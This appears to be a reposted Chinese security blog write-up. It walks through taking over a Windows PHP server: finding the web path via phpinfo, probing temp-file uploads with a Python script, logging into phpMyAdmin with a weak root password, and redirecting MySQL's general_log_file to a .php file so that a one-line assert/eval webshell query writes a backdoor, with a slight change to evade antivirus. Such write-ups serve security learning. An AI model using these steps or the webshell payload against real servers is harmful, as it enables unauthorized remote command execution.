phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss

信息收集

通过信息收集发现phpinfo页面:

图片[1]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

图片[2]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

找到关键信息web路径C:/ps/WWW

图片[3]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

首先想到的是临时目录批量上传文件然后再利用文件包含漏洞拿shell

先测试有没有临时目录:

编写脚本,上传文件探测是否存在phpinfo包含临时文件的信息。

import requests

 

files = {

  'file': ("aa.txt","ssss")

}

url = "http://x.x.x.x/phpinfo.php"

r = requests.post(url=url, files=files, allow_redirects=False)

print(r.text)

发现存在临时文件

图片[4]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

继续利用条件竞争上传失败。

然后测试有没有文件包含,并没有。

然后继续信息收集发现phpmyadmin  并且发现root用户弱口令漏洞

图片[5]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

经测试发现mysql中的Into outfile被禁用:

The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

下一步查询general_log处于开启状态,状态为开启的时候,系统将mysql以后执行的每一条查询语句写入你指定的位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,可以先指定路径为一个php文件,再执行sql语句SELECT ‘<?php assert($_POST[“cmd”]);?>’;,这个指令就把木马插入到你指定的php文件中去了。

于是我们可以设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell

图片[6]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

漏洞利用

由于前面phpinfo页面里已经找到web路径,可构造以下语句:

SET global general_log_file=’C:/ps/www/xiaoma.php’;

图片[7]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

写入webshell的时候发现直接构造eval函数访问的时候提示报错大概的意思就是提示文件内容变为0行,判断是被杀了。

于是稍微改动一下,如下图,eval会将输入的$a作为php语句执行,因此只要对l赋一定的system命令值,就能够执行系统命令

图片[8]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

访问一下这次没有被杀

图片[9]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

shell到手:

图片[10]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

图片[11]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科图片[12]-phpmyadmin+phpinfo()+一句话webshell简单绕过getshell – 作者:wwyyss-安全小百科

思路

phpinfo漏洞利用思路如下:

1、phpinfo中可以看到上传的临时文件的路径,从而实现LFI+getshell

https://www.pianshen.com/article/71091159796/

phpmyadmin漏洞利用思路如下:

1、利用全局变量general_log去getshell

2、利用slow_query_log慢查询日志getshell

3、利用phpmyadmin4.8.x本地文件包含漏洞getshell

https://www.icode9.com/content-3-218228.html

4、select into outfile直接写入

https://www.lurbk.com/lur2774.html

来源:freebuf.com 2020-12-17 11:16:59 by: wwyyss

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论